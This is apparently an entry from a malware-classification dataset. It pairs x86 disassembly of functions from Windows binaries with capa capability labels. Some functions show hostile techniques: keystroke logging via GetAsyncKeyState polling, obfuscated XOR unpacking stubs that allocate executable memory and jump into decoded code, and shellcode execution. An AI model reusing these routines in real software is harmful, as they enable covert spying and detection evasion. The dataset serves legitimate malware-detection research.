joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001e820
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], ecx
cmp dword [ebp + 0x10], 0
jg 0x1001e840
jl 0x1001e837
cmp dword [ebp + 0xc], 0
ja 0x1001e840
xor eax, eax
xor edx, edx
jmp 0x1001e97d
mov eax, dword [ebp - 8]
cmp dword [eax + 0x38], 0
je 0x1001e863
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
jmp 0x1001e97d
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 8]
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jbe 0x1001e8d5
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.10004fa0
add esp, 8
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 8]
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.100049a0
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov dword [ebp + 8], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
push edx
mov ecx, dword [ebp - 8]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int_]
mov eax, dword [ebp - 8]
cmp dword [eax + 0x4c], 0
je 0x1001e96e
mov ecx, dword [ebp - 8]
call fcn.1001f3e0
mov dword [ebp - 0x18], 0xfff
cmp dword [ebp - 4], 0xfff
jbe 0x1001e946
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x4c]
push edx
push 0xfff
push 1
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x10]
mov dword [ebp + 8], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
cmp dword [ebp - 0x10], 0xfff
je 0x1001e944
xor eax, eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x1c]
sbb edx, eax
mov eax, ecx
jmp 0x1001e97d
jmp 0x1001e8f1
cmp dword [ebp - 4], 0
jbe 0x1001e96e
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x4c]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
mov ecx, dword [ebp - 4]
sub ecx, eax
mov dword [ebp - 4], ecx
xor edx, edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
sbb ecx, edx
mov edx, ecx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1001f470
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x1003d00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x38], 0
je 0x1001f497
mov ecx, dword [ebp - 0x2c]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x1001f49e
mov al, 1
jmp 0x1001f57b
call fcn.10004c40
push eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [edx + 0xc]
call eax
mov dword [ebp - 0x3c], eax
call fcn.10004c40
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x40]
push edx
call fcn.1001f870
add esp, 8
movzx eax, al
test eax, eax
je 0x1001f4da
xor al, al
jmp 0x1001f57b
mov dword [ebp - 0x48], 0x20
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x2c]
add ecx, 0x40
push ecx
mov edx, dword [ebp - 0x2c]
mov ecx, dword [edx + 0x38]
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x1001f517
cmp dword [ebp - 0x30], 1
je 0x1001f51e
cmp dword [ebp - 0x30], 3
je 0x1001f56e
jmp 0x1001f579
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0x3d], 0
mov ecx, dword [ebp - 0x44]
lea edx, [ebp - 0x28]
sub ecx, edx
mov dword [ebp - 0x34], ecx
je 0x1001f54e
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp - 0x34]
push edx
push 1
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x34], eax
je 0x1001f54e
xor al, al
jmp 0x1001f57b
mov ecx, dword [ebp - 0x2c]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x1001f562
mov dword [ebp - 0x38], 1
jmp 0x1001f569
mov dword [ebp - 0x38], 0
mov al, byte [ebp - 0x38]
jmp 0x1001f57b
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0x3d], 0
mov al, 1
jmp 0x1001f57b
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002c22c
mov esp, ebp
pop ebp
ret
Function at 0x10028de0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002f659
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1003d00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x1003dcdc]
mov ecx, dword fs:[0x2c]
mov edx, dword [ecx + eax*4]
mov eax, dword [0x1004ea88]
cmp eax, dword [edx + 4]
jle 0x10028e72
push 0x1004ea88
call fcn.1002c3ce
add esp, 4
cmp dword [0x1004ea88], 0xffffffff
jne 0x10028e72
mov dword [ebp - 4], 0
push str.55_8B_EC_D9_EE_8B_C1_8B_55
push 0x100378f0
mov ecx, 0x10049c30
call fcn.1000f3c0
mov ecx, eax
call fcn.10023cb0
mov dword [0x1004ea84], eax
mov dword [ebp - 4], 0xffffffff
push 0x1004ea88
call fcn.1002c384
add esp, 4
mov ecx, dword [0x1003dcdc]
mov edx, dword fs:[0x2c]
mov eax, dword [edx + ecx*4]
mov ecx, dword [0x1004ea64]
cmp ecx, dword [eax + 4]
jle 0x10028eea
push 0x1004ea64
call fcn.1002c3ce
add esp, 4
cmp dword [0x1004ea64], 0xffffffff
jne 0x10028eea
mov dword [ebp - 4], 1
push str.E8_________BF_________8D_4D_C8
push 0x100378c8
mov ecx, 0x10049c30
call fcn.1000f3c0
mov ecx, eax
call fcn.10023cb0
push eax
call fcn.10028d90
add esp, 4
mov dword [0x1004eaa0], eax
mov dword [ebp - 4], 0xffffffff
push 0x1004ea64
call fcn.1002c384
add esp, 4
mov edx, dword [0x1003dcdc]
mov eax, dword fs:[0x2c]
mov ecx, dword [eax + edx*4]
mov edx, dword [0x1004eaa8]
cmp edx, dword [ecx + 4]
jle 0x10028f58
push 0x1004eaa8
call fcn.1002c3ce
add esp, 4
cmp dword [0x1004eaa8], 0xffffffff
jne 0x10028f58
mov dword [ebp - 4], 2
push str.A1_________83_C0_08_C3
push str.engine.dll
mov ecx, 0x10049c30
call fcn.1000f3c0
mov ecx, eax
call fcn.10023cb0
mov dword [0x1004ea7c], eax
mov dword [ebp - 4], 0xffffffff
push 0x1004eaa8
call fcn.1002c384
add esp, 4
call dword [0x1004ea7c]
mov dword [ebp - 0x24], eax
push 0x4c
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + 0x78]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x18], 0
mov edx, dword [0x10046d24]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x28], 0x4e20
mov ecx, dword [0x1003dd64]
call fcn.10026970
mov dword [ebp - 0x1c], eax
movzx eax, byte [0x10046b18]
test eax, eax
je 0x10029021
mov ecx, dword [0x10046b1c]
push ecx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx edx, ax
test edx, edx
je 0x10029021
cmp dword [ebp - 0x10], 0
je 0x10029021
cmp dword [ebp - 0x1c], 0
je 0x10029021
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x28]
jge 0x10029021
mov ecx, dword [ebp - 0x2c]
push ecx
push 6
mov ecx, dword [ebp - 0x10]
call dword [0x1004ea84]
mov dword [ebp - 0x14], 0
jmp 0x10028ff1
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x20]
jge 0x1002900f
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.10028db0
add esp, 0x10
jmp 0x10028fe8
mov ecx, dword [ebp - 0x10]
call dword [0x1004eaa0]
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1002aaee
pop dword [ebp - 0x40]
mov eax, 0xc7a7254
sub eax, 0xfc77c766
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x82e64303
sub dword [ebp - 0x50], 0x3493fdb8
mov dword [ebp - 0x4c], 0x613da6c7
add dword [ebp - 0x4c], 0xd0f5a57e
mov dword [ebp - 0x48], 0x1e9e2443
add dword [ebp - 0x48], 0x2dae1feb
mov dword [ebp - 0x44], 0xb57e4900
add dword [ebp - 0x44], 0x4a81b700
lea eax, [ebp - 0x50]
push eax
mov eax, 0x9602a57b
sub eax, 0x85ffe543
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x7d6ee277
add dword [ebp - 0x50], 0xf70386df
mov dword [ebp - 0x4c], 0x1c188d
add dword [ebp - 0x4c], 0x415048e8
mov dword [ebp - 0x48], 0x91f71963
add dword [ebp - 0x48], 0xd1785309
mov dword [ebp - 0x44], 0x60fbda91
sub dword [ebp - 0x44], 0x60fbda91
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x1424e2c8
sub eax, 0x42222a0
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x33814
push 0
call eax
mov ecx, 0xd5794226
add ecx, 0x2a86fa00
xor edi, edi
add edi, eax
mov ebx, 0x10039600
add ebx, dword [ebp - 0x40]
mov edx, 0xdada1608
xor dword [ebp - 0x10], 0xa8edcd33
mov esi, dword [ebx]
xor dword [ebp - 0x30], edi
xor esi, edx
mov dword [edi], esi
add dword [ebp - 4], 0x3f5af9d3
add edi, 4
add ebx, 0x230dee76
sub ebx, 0x230dee72
loop 0x1002ac06
add eax, 0xfcfcd08e
add eax, 0x30412dd
xor ebx, ebx
add ebx, eax
add eax, 0x23ea2995
sub eax, 0x23ea2990
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x10001010
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10001057
push str.VirtualProtect
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.VirtualAlloc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push 0x100000
push 0
call eax
mov eax, 1
pop ebp
ret 0xc

Function at 0x100044f7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10004536
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10004536
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10004536
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10004536
cmp dword [ecx + 0x74], 0xe
jbe 0x10004536
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100071bf
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000725c
push ebx
push esi
call fcn.10007188
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000711c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10007209
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000725b
push edi
push eax
call fcn.1000817a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10007229
call fcn.10005c64
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000725a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000711c
add esp, 0x20
test eax, eax
jne 0x10007248
push edi
call fcn.10005c64
jmp 0x10007250
push ebx
call fcn.10005c64
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100074c9
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000e4e8
push 0x1000e4e0
push str.FlsAlloc
push 0x1f
call fcn.100073e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100074fd
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000d10c]
call esi
jmp 0x10007503
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10007547
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000e4f8
push 0x1000e4f0
push str.FlsGetValue
push 0x21
call fcn.100073e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000757e
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000d10c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10007586
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000e500
push 0x1000e4f8
push str.FlsSetValue
push 0x22
call fcn.100073e5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100075c0
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1000d10c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000cc50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000cc7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000cc7d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x407458
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x407467
pop dword [ebp - 0x30]
mov eax, 0x79d1f6c0
sub eax, 0x79918259
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xb74d42a
sub dword [ebp - 0x40], 0xbd228edf
mov dword [ebp - 0x3c], 0xe5d94694
add dword [ebp - 0x3c], 0x4c5a05b1
mov dword [ebp - 0x38], 0x7c2d7b87
sub dword [ebp - 0x38], 0x2fe13759
mov dword [ebp - 0x34], 0xd5c0c7dc
add dword [ebp - 0x34], 0x2a3f3824
lea eax, [ebp - 0x40]
push eax
mov eax, 0x323fd67d
sub eax, 0x31ff5605
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xf24e5006
add dword [ebp - 0x40], 0x82241950
mov dword [ebp - 0x3c], 0x97844820
add dword [ebp - 0x3c], 0xa9e81955
mov dword [ebp - 0x38], 0xec7e67a7
add dword [ebp - 0x38], 0x76f104c5
mov dword [ebp - 0x34], 0xc8a9b64a
add dword [ebp - 0x34], 0x375649b6
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3c9e4
push 0
call eax
mov ecx, 0xd06b2d17
add ecx, 0x2f9530fa
xor ebx, ebx
add ebx, eax
mov edx, 0x5031938f
sub edx, 0x4fec018f
add edx, dword [ebp - 0x30]
mov edi, 0xc4b5c80f
add edi, 0x7e5be7cc
xor dword [ebp - 0x2c], edi
mov esi, dword [edx]
mov dword [ebp - 8], 0x3405a73d
add esi, edi
xor dword [ebp - 0x18], 0xa6b89620
mov dword [ebx], esi
add dword [ebp - 0x2c], ecx
add ebx, 4
add edx, 4
loop 0x407586
add eax, 0x16b17
mov ebx, eax
add eax, 0xcfb719e
sub eax, 0xcfb7199
mov ecx, 0xd71bdfdc
add ecx, 0x29242024
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x404ece
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x404edd
pop dword [ebp - 0x3c]
mov eax, 0xe7a013c1
add eax, 0x18a03b1c
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xcda15ae2
add dword [ebp - 0x4c], 0x80b0ea69
mov dword [ebp - 0x48], 0xc63fa35c
sub dword [ebp - 0x48], 0x940c5717
mov dword [ebp - 0x44], 0xc16918dc
add dword [ebp - 0x44], 0x8ae32b52
mov dword [ebp - 0x40], 0x2074c66b
sub dword [ebp - 0x40], 0x2074c66b
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x37258cc7
sub dword [ebp - 0x4c], 0xc2b32371
mov dword [ebp - 0x48], 0xe6341049
sub dword [ebp - 0x48], 0xa4c7aed4
mov dword [ebp - 0x44], 0x3aeac51a
add dword [ebp - 0x44], 0x2884a752
mov dword [ebp - 0x40], 0x490da3e4
add dword [ebp - 0x40], 0xb6f25c1c
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x8c6aec68
add eax, 0x73d693e4
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3db66
push 0
call eax
mov ecx, 0xf674cfbb
add ecx, 0x98b817b
mov ebx, eax
mov edx, 0xbba6aa4e
add edx, 0x449c3db2
add edx, dword [ebp - 0x3c]
mov edi, 0xe2e89e4e
sub edi, 0x6d19bfa4
sub dword [ebp - 0x10], edi
mov esi, dword [edx]
add dword [ebp - 0x24], edx
add esi, edi
xor dword [ebp - 8], ebx
mov dword [ebx], esi
add dword [ebp - 4], ecx
add ebx, 0x21f77d1f
add ebx, 0xde0882e5
add edx, 0xf316a6be
sub edx, 0xf316a6ba
loop 0x404ffa
add eax, 0x137ab
xor ebx, ebx
add ebx, eax
add eax, 0x515b7a2a
add eax, 0xaea485db
mov ecx, 0x5b36d4ef
add ecx, 0xa5092b11
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x4088d9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420030]
jne 0x4088e3
repz ret
jmp fcn.00410778
Function at 0x412ce8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
or eax, 0xffffffff
cmp dword [0x300217d0], ecx
push esi
mov esi, 0xff
jne 0x412d31
mov dword [0x300217d0], 1
push edi
push 8
mov edx, ecx
pop edi
test dl, 1
je 0x412d1d
shr edx, 1
xor edx, 0xedb88320
jmp 0x412d1f
shr edx, 1
dec edi
test edi, edi
jg 0x412d0e
mov dword [ecx*4 + 0x300213d0], edx
inc ecx
cmp ecx, esi
jle 0x412d09
pop edi
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jbe 0x412d52
mov edx, dword [ebp + 8]
movzx edx, byte [edx]
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x300213d0]
inc dword [ebp + 8]
dec ecx
jne 0x412d38
not eax
pop esi
pop ebp
ret 8

Function at 0x4014d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x4014f6
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x40158a
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401545
cmp eax, 0x40
je 0x401545
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x4014e9
cmp eax, 0x40
je 0x4014e9
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
jmp 0x4014e9
mov dword [esp + 8], 0x34
mov dword [esp + 4], str..._.._runtime_pseudo_reloc.c
mov dword [esp], str.VirtualQuery__addr__b__sizeof_b__
call sym.__assert
lea esi, [esi]
lea edi, [edi]
Function at 0x404260
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53122f
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x5796f4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [edi + 0xf0]
test esi, esi
je 0x4042db
cmp dword [esi + 4], 0
je 0x4042bf
mov eax, dword [esi + 4]
test eax, eax
je 0x4042bf
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0
mov dword [esi], 0xffffffff
mov esi, dword [edi + 0xf0]
test esi, esi
je 0x4042db
mov ecx, esi
call fcn.00421900
push 0x50
push esi
call fcn.004edc4d
add esp, 8
push 0x50
call fcn.004edc7e
mov esi, eax
mov dword [ebp - 0x10], esi
push 0x50
push 0
push esi
mov dword [ebp - 4], 0
call fcn.004d7060
sub esp, 0x18
mov ecx, 0x404350
mov eax, esp
mov dword [eax + 0x24], 0
test ecx, ecx
je 0x40431d
mov dword [eax], vtable.std::_Func_impl_unsigned_long_int____cdecl___void____class_std::allocator_int___unsigned_long_int__void__.0
mov dword [eax + 4], 0x404350
mov dword [eax + 0x24], eax
push str.ABDEF
push edi
mov ecx, esi
call fcn.004216b0
mov dword [edi + 0xf0], eax
mov eax, dword [eax + 4]
test eax, eax
je 0x40433e
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4050d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53135a
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x5796f4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x28], esi
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x2c], esi
call fcn.004d86b7
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x405190
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], vtable.std::exception.0
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], str.bad_locale_name
xorps xmm0, xmm0
mov byte [ebp - 0x14], 1
push eax
movq qword [ebp - 0x20], xmm0
call fcn.004d60de
add esp, 8
mov dword [ebp - 0x24], vtable.std::runtime_error.0
lea eax, [ebp - 0x24]
push 0x575c2c
push eax
call fcn.004d7590
push edi
push esi
call fcn.004d8a2d
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004edc3c
mov esp, ebp
pop ebp
ret 4
Function at 0x40c100
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x531bd5
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x5796f4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
lea eax, [ebp - 0x2c]
push eax
call fcn.0040c210
mov ebx, eax
lea esi, [edi + 0x28]
cmp esi, ebx
je 0x40c176
mov eax, dword [esi + 0x14]
cmp eax, 8
jb 0x40c14f
inc eax
mov ecx, esi
push eax
push dword [esi]
call fcn.004017c0
mov dword [esi + 0x14], 7
cmp dword [esi + 0x14], 8
mov dword [esi + 0x10], 0
jb 0x40c167
mov eax, dword [esi]
jmp 0x40c169
mov eax, esi
xor ecx, ecx
mov word [eax], cx
mov ecx, esi
push ebx
call fcn.004034c0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x18]
cmp eax, 8
jb 0x40c192
inc eax
lea ecx, [ebp - 0x2c]
push eax
push dword [ebp - 0x2c]
call fcn.004017c0
push 0x50
call fcn.004edc7e
mov esi, eax
mov dword [ebp - 0x10], esi
push 0x50
push 0
push esi
mov dword [ebp - 4], 1
call fcn.004d7060
sub esp, 0x18
mov ecx, 0x40d580
mov eax, esp
mov dword [eax + 0x24], 0
test ecx, ecx
je 0x40c1d4
mov dword [eax], vtable.std::_Func_impl_unsigned_long_int____stdcall___void____class_std::allocator_int___unsigned_long_int__void__.0
mov dword [eax + 4], 0x40d580
mov dword [eax + 0x24], eax
push 0x5634a4
push edi
mov ecx, esi
call fcn.004216b0
mov dword [edi + 0x74], eax
mov eax, dword [eax + 4]
test eax, eax
je 0x40c1f2
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
